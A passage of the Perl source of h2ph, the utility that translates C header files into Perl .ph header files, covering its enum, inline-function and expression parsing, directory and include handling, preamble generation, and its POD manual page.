/^\s?(typedef\s?)?enum\s?([a-zA-Z_]\w*)?\s?\{(.*)\}\s?([a-zA-Z_]\w*)?\s?;/; (my $enum_subs = $3) =~ s/\s//g; my @enum_subs = split(/,/, $enum_subs); my $enum_val = -1; foreach my $enum (@enum_subs) { my ($enum_name, $enum_value) = $enum =~ /^([a-zA-Z_]\w*)(=.+)?$/; $enum_name or next; $enum_value =~ s/^=//; $enum_val = (length($enum_value) ? $enum_value : $enum_val + 1); if ($opt_h) { print OUT ($t, "eval(\"\\n#line $eval_index $outfile\\n", "sub $enum_name () \{ $enum_val; \}\") ", "unless defined(\&$enum_name);\n"); ++ $eval_index; } else { print OUT ($t, "eval(\"sub $enum_name () \{ $enum_val; \}\") ", "unless defined(\&$enum_name);\n"); } } } elsif (/^(?:__extension__\s+)?(?:extern|static)\s+(?:__)?inline(?:__)?\s+/ and !/;\s*$/ and !/{\s*}\s*$/) { # { for vi # This is a hack to parse the inline functions in the glibc headers. # Warning: massive kludge ahead. We suppose inline functions # are mainly constructed like macros. while (1) { last unless defined ($next = next_line($file)); chomp $next; undef $_, last if $next =~ /__THROW\s*;/ or $next =~ /^(__extension__|extern|static)\b/; $_ .= " $next"; print OUT "# $next\n" if $opt_D; last if $next =~ /^}|^{.*}\s*$/; } next if not defined; # because it's only a prototype s/\b(__extension__|extern|static|(?:__)?inline(?:__)?)\b//g; # violently drop #ifdefs s/#\s*if.*?#\s*endif//g and print OUT "# some #ifdef were dropped here -- fill in the blanks\n"; if (s/^(?:\w|\s|\*)*\s(\w+)\s*//) { $name = $1; } else { warn "name not found"; next; # shouldn't occur... } my @args; if (s/^\(([^()]*)\)\s*(\w+\s*)*//) { for my $arg (split /,/, $1) { if ($arg =~ /(\w+)\s*$/) { $curargs{$1} = 1; push @args, $1; } } } $args = ( @args ? "my(" . (join ',', map "\$$_", @args) . ") = \@_;\n$t " : "" ); my $proto = @args ? '' : '() '; $new = ''; s/\breturn\b//g; # "return" doesn't occur in macros usually... expr(); # try to find and perlify local C variables our @local_variables = (); # needs to be a our(): (?{...}) bug workaround { use re "eval"; my $typelist = join '|', keys %isatype; $new =~ s[' (?:(?:__)?const(?:__)?\s+)? (?:(?:un)?signed\s+)? (?:long\s+)? (?:$typelist)\s+ (\w+) (?{ push @local_variables, $1 }) '] [my \$$1]gx; $new =~ s[' (?:(?:__)?const(?:__)?\s+)? (?:(?:un)?signed\s+)? (?:long\s+)? (?:$typelist)\s+ ' \s+ &(\w+) \s* ; (?{ push @local_variables, $1 }) ] [my \$$1;]gx; } $new =~ s/&$_\b/\$$_/g for @local_variables; $new =~ s/(["\\])/\\$1/g; #"]); # now that's almost like a macro (we hope) EMIT($proto); } } $Is_converted{$file} = 1; if ($opt_e && exists($bad_file{$file})) { unlink($Dest_dir . '/' . $outfile); $next = ''; } else { print OUT "1;\n"; queue_includes_from($file) if $opt_a; } } if ($opt_e && (scalar(keys %bad_file) > 0)) { warn "Was unable to convert the following files:\n"; warn "\t" . join("\n\t",sort(keys %bad_file)) . "\n"; } exit $Exit; sub EMIT { my $proto = shift; $new = reindent($new); $args = reindent($args); if ($t ne '') { $new =~ s/(['\\])/\\$1/g; #']); if ($opt_h) { print OUT $t, "eval \"\\n#line $eval_index $outfile\\n\" . 'sub $name $proto\{\n$t ${args}eval q($new);\n$t}' unless defined(\&$name);\n"; $eval_index++; } else { print OUT $t, "eval 'sub $name $proto\{\n$t ${args}eval q($new);\n$t}' unless defined(\&$name);\n"; } } else { print OUT "unless(defined(\&$name)) {\n sub $name $proto\{\n\t${args}eval q($new);\n }\n}\n"; } %curargs = (); return; } sub expr { if (/\b__asm__\b/) { # freak out $new = '"(assembly code)"'; return } my $joined_args; if(keys(%curargs)) { $joined_args = join('|', keys(%curargs)); } while ($_ ne '') { s/^\&\&// && do { $new .= " &&"; next;}; # handle && operator s/^\&([\(a-z\)]+)/$1/i; # hack for things that take the address of s/^(\s+)// && do {$new .= ' '; next;}; s/^0X([0-9A-F]+)[UL]*//i && do {my $hex = $1; $hex =~ s/^0+//; if (length $hex > 8 && !$Config{use64bitint}) { # Croak if nv_preserves_uv_bits < 64 ? $new .= hex(substr($hex, -8)) + 2**32 * hex(substr($hex, 0, -8)); # The above will produce "erroneous" code # if the hex constant was e.g. inside UINT64_C # macro, but then again, h2ph is an approximation. } else { $new .= lc("0x$hex"); } next;}; s/^(-?\d+\.\d+E[-+]?\d+)[FL]?//i && do {$new .= $1; next;}; s/^(\d+)\s*[LU]*//i && do {$new .= $1; next;}; s/^("(\\"|[^"])*")// && do {$new .= $1; next;}; s/^'((\\"|[^"])*)'// && do { if ($curargs{$1}) { $new .= "ord('\$$1')"; } else { $new .= "ord('$1')"; } next; }; # replace "sizeof(foo)" with "{foo}" # also, remove * (C dereference operator) to avoid perl syntax # problems. Where the %sizeof array comes from is anyone's # guess (c2ph?), but this at least avoids fatal syntax errors. # Behavior is undefined if sizeof() delimiters are unbalanced. # This code was modified to able to handle constructs like this: # sizeof(*(p)), which appear in the HP-UX 10.01 header files. s/^sizeof\s*\(// && do { $new .= '$sizeof'; my $lvl = 1; # already saw one open paren # tack { on the front, and skip it in the loop $_ = "{" . "$_"; my $index = 1; # find balanced closing paren while ($index <= length($_) && $lvl > 0) { $lvl++ if substr($_, $index, 1) eq "("; $lvl-- if substr($_, $index, 1) eq ")"; $index++; } # tack } on the end, replacing ) substr($_, $index - 1, 1) = "}"; # remove pesky * operators within the sizeof argument substr($_, 0, $index - 1) =~ s/\*//g; next; }; # Eliminate typedefs /\(([\w\s]+)[\*\s]*\)\s*[\w\(]/ && do { my $doit = 1; foreach (split /\s+/, $1) { # Make sure all the words are types, unless($isatype{$_} or $_ eq 'struct' or $_ eq 'union'){ $doit = 0; last; } } if( $doit ){ s/\([\w\s]+[\*\s]*\)// && next; # then eliminate them. } }; # struct/union member, including arrays: s/^([_A-Z]\w*(\[[^\]]+\])?((\.|->)[_A-Z]\w*(\[[^\]]+\])?)+)//i && do { my $id = $1; $id =~ s/(\.|(->))([^\.\-]*)/->\{$3\}/g; $id =~ s/\b([^\$])($joined_args)/$1\$$2/g if length($joined_args); while($id =~ /\[\s*([^\$\&\d\]]+)\]/) { my($index) = $1; $index =~ s/\s//g; if(exists($curargs{$index})) { $index = "\$$index"; } else { $index = "&$index"; } $id =~ s/\[\s*([^\$\&\d\]]+)\]/[$index]/; } $new .= " (\$$id)"; }; s/^([_a-zA-Z]\w*)// && do { my $id = $1; if ($id eq 'struct' || $id eq 'union') { s/^\s+(\w+)//; $id .= ' ' . $1; $isatype{$id} = 1; } elsif ($id =~ /^((un)?signed)|(long)|(short)$/) { while (s/^\s+(\w+)//) { $id .= ' ' . $1; } $isatype{$id} = 1; } if ($curargs{$id}) { $new .= "\$$id"; $new .= '->' if /^[\[\{]/; } elsif ($id eq 'defined') { $new .= 'defined'; } elsif (/^\s*\(/) { s/^\s*\((\w),/("$1",/ if $id =~ /^_IO[WR]*$/i; # cheat $new .= " &$id"; } elsif ($isatype{$id}) { if ($new =~ /\{\s*$/) { $new .= "'$id'"; } elsif ($new =~ /\(\s*$/ && /^[\s*]*\)/) { $new =~ s/\(\s*$//; s/^[\s*]*\)//; } else { $new .= q(').$id.q('); } } else { if ($inif) { if ($new =~ /defined\s*$/) { $new .= '(&' . $id . ')'; } elsif ($new =~ /defined\s*\($/) { $new .= '&' . $id; } else { $new .= '(defined(&' . $id . ') ? &' . $id . ' : undef)'; } } elsif (/^\[/) { $new .= " \$$id"; } else { $new .= ' &' . $id; } } next; }; s/^(.)// && do { if ($1 ne '#') { $new .= $1; } next;}; } } sub next_line { my $file = shift; my ($in, $out); my $pre_sub_tri_graphs = 1; READ: while (not eof IN) { $in .= <IN>; chomp $in; next unless length $in; while (length $in) { if ($pre_sub_tri_graphs) { # Preprocess all tri-graphs # including things stuck in quoted string constants. $in =~ s/\?\?=/#/g; # | ??=| #| $in =~ s/\?\?\!/|/g; # | ??!| || $in =~ s/\?\?'/^/g; # | ??'| ^| $in =~ s/\?\?\(/[/g; # | ??(| [| $in =~ s/\?\?\)/]/g; # | ??)| ]| $in =~ s/\?\?\-/~/g; # | ??-| ~| $in =~ s/\?\?\//\\/g; # | ??/| \| $in =~ s/\?\?</{/g; # | ??<| {| $in =~ s/\?\?>/}/g; # | ??>| }| } if ($in =~ /^\#ifdef __LANGUAGE_PASCAL__/) { # Tru64 disassembler.h evilness: mixed C and Pascal. while (<IN>) { last if /^\#endif/; } $in = ""; next READ; } if ($in =~ /^extern inline / && # Inlined assembler. $^O eq 'linux' && $file =~ m!(?:^|/)asm/[^/]+\.h$!) { while (<IN>) { last if /^}/; } $in = ""; next READ; } if ($in =~ s/\\$//) { # \-newline $out .= ' '; next READ; } elsif ($in =~ s/^([^"'\\\/]+)//) { # Passthrough $out .= $1; } elsif ($in =~ s/^(\\.)//) { # \... $out .= $1; } elsif ($in =~ /^'/) { # '... if ($in =~ s/^('(\\.|[^'\\])*')//) { $out .= $1; } else { next READ; } } elsif ($in =~ /^"/) { # "... if ($in =~ s/^("(\\.|[^"\\])*")//) { $out .= $1; } else { next READ; } } elsif ($in =~ s/^\/\/.*//) { # //... # fall through } elsif ($in =~ m/^\/\*/) { # /*... # C comment removal adapted from perlfaq6: if ($in =~ s/^\/\*[^*]*\*+([^\/*][^*]*\*+)*\///) { $out .= ' '; } else { # Incomplete /* */ next READ; } } elsif ($in =~ s/^(\/)//) { # /... $out .= $1; } elsif ($in =~ s/^([^\'\"\\\/]+)//) { $out .= $1; } elsif ($^O eq 'linux' && $file =~ m!(?:^|/)linux/byteorder/pdp_endian\.h$! && $in =~ s!\'T KNOW!!) { $out =~ s!I DON$!I_DO_NOT_KNOW!; } else { if ($opt_e) { warn "Cannot parse $file:\n$in\n"; $bad_file{$file} = 1; $in = ''; $out = undef; last READ; } else { die "Cannot parse:\n$in\n"; } } } last READ if $out =~ /\S/; } return $out; } # Handle recursive subdirectories without getting a grotesquely big stack. # Could this be implemented using File::Find? sub next_file { my $file; while (@ARGV) { $file = shift @ARGV; if ($file eq '-' or -f $file or -l $file) { return $file; } elsif (-d $file) { if ($opt_r) { expand_glob($file); } else { print STDERR "Skipping directory '$file'\n"; } } elsif ($opt_a) { return $file; } else { print STDERR "Skipping '$file': not a file or directory\n"; } } return undef; } # Put all the files in $directory into @ARGV for processing. sub expand_glob { my ($directory) = @_; $directory =~ s:/$::; opendir DIR, $directory; foreach (readdir DIR) { next if ($_ eq '.' or $_ eq '..'); # expand_glob() is going to be called until $ARGV[0] isn't a # directory; so push directories, and unshift everything else. if (-d "$directory/$_") { push @ARGV, "$directory/$_" } else { unshift @ARGV, "$directory/$_" } } closedir DIR; } # Given $file, a symbolic link to a directory in the C include directory, # make an equivalent symbolic link in $Dest_dir, if we can figure out how. # Otherwise, just duplicate the file or directory. sub link_if_possible { my ($dirlink) = @_; my $target = eval 'readlink($dirlink)'; if ($target =~ m:^\.\./: or $target =~ m:^/:) { # The target of a parent or absolute link could leave the $Dest_dir # hierarchy, so let's put all of the contents of $dirlink (actually, # the contents of $target) into @ARGV; as a side effect down the # line, $dirlink will get created as an _actual_ directory. expand_glob($dirlink); } else { if (-l "$Dest_dir/$dirlink") { unlink "$Dest_dir/$dirlink" or print STDERR "Could not remove link $Dest_dir/$dirlink: $!\n"; } if (eval 'symlink($target, "$Dest_dir/$dirlink")') { print "Linking $target -> $Dest_dir/$dirlink\n"; # Make sure that the link _links_ to something: if (! -e "$Dest_dir/$target") { mkpath("$Dest_dir/$target", 0755) or print STDERR "Could not create $Dest_dir/$target/\n"; } } else { print STDERR "Could not symlink $target -> $Dest_dir/$dirlink: $!\n"; } } } # Push all #included files in $file onto our stack, except for STDIN # and files we've already processed. sub queue_includes_from { my ($file) = @_; my $line; return if ($file eq "-"); open HEADER, "<", $file or return; while (defined($line = <HEADER>)) { while (/\\$/) { # Handle continuation lines chop $line; $line .= <HEADER>; } if ($line =~ /^#\s*include\s+([<"])(.*?)[>"]/) { my ($delimiter, $new_file) = ($1, $2); # copy the prefix in the quote syntax (#include "x.h") case if ($delimiter eq q{"} && $file =~ m|^(.*)/|) { $new_file = "$1/$new_file"; } push(@ARGV, $new_file) unless $Is_converted{$new_file}; } } close HEADER; } # Determine include directories; $Config{usrinc} should be enough for (all # non-GCC?) C compilers, but gcc uses additional include directories. sub inc_dirs { my $from_gcc = `LC_ALL=C $Config{cc} -v -E - < /dev/null 2>&1 | awk '/^#include/, /^End of search list/' | grep '^ '`; length($from_gcc) ? (split(' ', $from_gcc), $Config{usrinc}) : ($Config{usrinc}); } # Create "_h2ph_pre.ph", if it doesn't exist or was built by a different # version of h2ph. sub build_preamble_if_necessary { # Increment $VERSION every time this function is modified: my $VERSION = 4; my $preamble = "$Dest_dir/_h2ph_pre.ph"; # Can we skip building the preamble file? if (-r $preamble) { # Extract version number from first line of preamble: open PREAMBLE, "<", $preamble or die "Cannot open $preamble: $!"; my $line = <PREAMBLE>; $line =~ /(\b\d+\b)/; close PREAMBLE or die "Cannot close $preamble: $!"; # Don't build preamble if a compatible preamble exists: return if $1 == $VERSION; } my (%define) = _extract_cc_defines(); open PREAMBLE, ">", $preamble or die "Cannot open $preamble: $!"; print PREAMBLE "# This file was created by h2ph version $VERSION\n"; # Prevent non-portable hex constants from warning. # # We still produce an overflow warning if we can't represent # a hex constant as an integer. print PREAMBLE "no warnings qw(portable);\n"; foreach (sort keys %define) { if ($opt_D) { print PREAMBLE "# $_=$define{$_}\n"; } if ($define{$_} =~ /^\((.*)\)$/) { # parenthesized value: d=(v) $define{$_} = $1; } if (/^(\w+)\((\w)\)$/) { my($macro, $arg) = ($1, $2); my $def = $define{$_}; $def =~ s/$arg/\$\{$arg\}/g; print PREAMBLE <<DEFINE; unless (defined &$macro) { sub $macro(\$) { my (\$$arg) = \@_; \"$def\" } } DEFINE } elsif ($define{$_} =~ /^([+-]?(\d+)?\.\d+([eE][+-]?\d+)?)[FL]?$/) { # float: print PREAMBLE "unless (defined &$_) { sub $_() { $1 } }\n\n"; } elsif ($define{$_} =~ /^([+-]?\d+)U?L{0,2}$/i) { # integer: print PREAMBLE "unless (defined &$_) { sub $_() { $1 } }\n\n"; } elsif ($define{$_} =~ /^([+-]?0x[\da-f]+)U?L{0,2}$/i) { # hex integer # Special cased, since perl warns on hex integers # that can't be represented in a UV. # # This way we get the warning at time of use, so the user # only gets the warning if they happen to use this # platform-specific definition. my $code = $1; $code = "hex('$code')" if length $code > 10; print PREAMBLE "unless (defined &$_) { sub $_() { $code } }\n\n"; } elsif ($define{$_} =~ /^\w+$/) { my $def = $define{$_}; if ($isatype{$def}) { print PREAMBLE "unless (defined &$_) { sub $_() { \"$def\" } }\n\n"; } else { print PREAMBLE "unless (defined &$_) { sub $_() { &$def } }\n\n"; } } else { print PREAMBLE "unless (defined &$_) { sub $_() { \"", quotemeta($define{$_}), "\" } }\n\n"; } } print PREAMBLE "\n1;\n"; # avoid 'did not return a true value' when empty close PREAMBLE or die "Cannot close $preamble: $!"; } # %Config contains information on macros that are pre-defined by the # system's compiler. We need this information to make the .ph files # function with perl as the .h files do with cc. sub _extract_cc_defines { my %define; my $allsymbols = join " ", @Config{'ccsymbols', 'cppsymbols', 'cppccsymbols'}; # If optimizing -O2 is used, add the definition if ($Config{'ccflags'} =~ /(?:\s+|^)-O([\d]+)(?:\s+|$)/) { $allsymbols .= " __OPTIMIZE__=$1"; } # Split compiler pre-definitions into 'key=value' pairs: while ($allsymbols =~ /([^\s]+)=((\\\s|[^\s])+)/g) { $define{$1} = $2; if ($opt_D) { print STDERR "$_: $1 -> $2\n"; } } return %define; } 1; ############################################################################## __END__ =head1 NAME h2ph - convert .h C header files to .ph Perl header files =head1 SYNOPSIS B<h2ph [-d destination directory] [-r | -a] [-l] [-h] [-e] [-D] [-Q] [headerfiles]> =head1 DESCRIPTION I<h2ph> converts any C header files specified to the corresponding Perl header file format. It is most easily run while in /usr/include: cd /usr/include; h2ph * sys/* or cd /usr/include; h2ph * sys/* arpa/* netinet/* or cd /usr/include; h2ph -r -l . The output files are placed in the hierarchy rooted at Perl's architecture dependent library directory. You can specify a different hierarchy with a B<-d> switch. If run with no arguments, filters standard input to standard output. =head1 OPTIONS =over 4 =item -d destination_dir Put the resulting B<.ph> files beneath B<destination_dir>, instead of beneath the default Perl library location (C<$Config{'installsitearch'}>). =item -r Run recursively; if any of B<headerfiles> are directories, then run I<h2ph> on all files in those directories (and their subdirectories, etc.). B<-r> and B<-a> are mutually exclusive. =item -a Run automagically; convert B<headerfiles>, as well as any B<.h> files which they include. This option will search for B<.h> files in all directories which your C compiler ordinarily uses. B<-a> and B<-r> are mutually exclusive. =item -l Symbolic links will be replicated in the destination directory. If B<-l> is not specified, then links are skipped over. =item -h Put 'hints' in the .ph files which will help in locating problems with I<h2ph>. In those cases when you B<require> a B<.ph> file containing syntax errors, instead of the cryptic [ some error condition ] at (eval mmm) line nnn you will see the slightly more helpful [ some error condition ] at filename.ph line nnn However, the B<.ph> files almost double in size when built using B<-h>. =item -e If an error is encountered during conversion, output file will be removed and a warning emitted instead of terminating the conversion immediately. =item -D Include the code from the B<.h> file as a comment in the B<.ph> file. This is primarily used for debugging I<h2ph>. =item -Q 'Quiet' mode; don't print out the names of the files being converted. =back =head1 ENVIRONMENT No environment variables are used. =head1 FILES /usr/include/*.h /usr/include/sys/*.h etc. =head1 AUTHOR Larry Wall =head1 SEE ALSO perl(1) =head1 DIAGNOSTICS The usual warnings if it can't read or write the files involved. =head1 BUGS Doesn't construct the %sizeof array for you. It doesn't handle all C constructs, but it does attempt to isolate definitions inside evals so that you can get at the definitions that it can translate. It's only intended as a rough tool. You may need to dicker with the files produced. You have to run this program by hand; it's not run as part of the Perl installation. Doesn't handle complicated expressions built piecemeal, a la: enum { FIRST_VALUE, SECOND_VALUE, #ifdef ABC THIRD_VALUE #endif }; Doesn't necessarily locate all of your C compiler's internally-defined symbols. =cut
Close